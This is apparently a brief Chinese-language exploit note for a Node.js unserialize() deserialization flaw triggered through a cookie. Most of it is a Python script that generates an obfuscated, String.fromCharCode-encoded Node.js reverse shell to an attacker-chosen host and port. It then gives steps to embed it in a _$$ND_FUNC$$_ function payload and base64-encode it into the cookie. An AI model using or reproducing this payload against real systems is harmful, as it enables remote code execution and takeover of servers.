漏洞成因

调用了unserialize()函数
假设对cookie参数进行了unserialize操作,即可触发漏洞

exp

#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys
if len(sys.argv) != 3:
print ("Usage: %s <LHOST> <LPORT>" % (sys.argv[0]))
sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]

def charencode(string):
"""String.CharCode"""
encoded = ''
for char in string:
encoded = encoded + "," + str(ord(char))
return encoded[1:]

print ("[+] LHOST = %s" % (IP_ADDR))
print ("[+] LPORT = %s" % (PORT))
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print ("[+] Encoding")
PAYLOAD = charencode(NODEJS_REV_SHELL)
print ("eval(String.fromCharCode(%s))" % (PAYLOAD))

将生成的结果填入

{"username":"_$$ND_FUNC$$_function (){YOUR-PAYLOAD}()"}

然后将结果进行base64编码即可触发(具体要看后端有没有进行base64解码操作)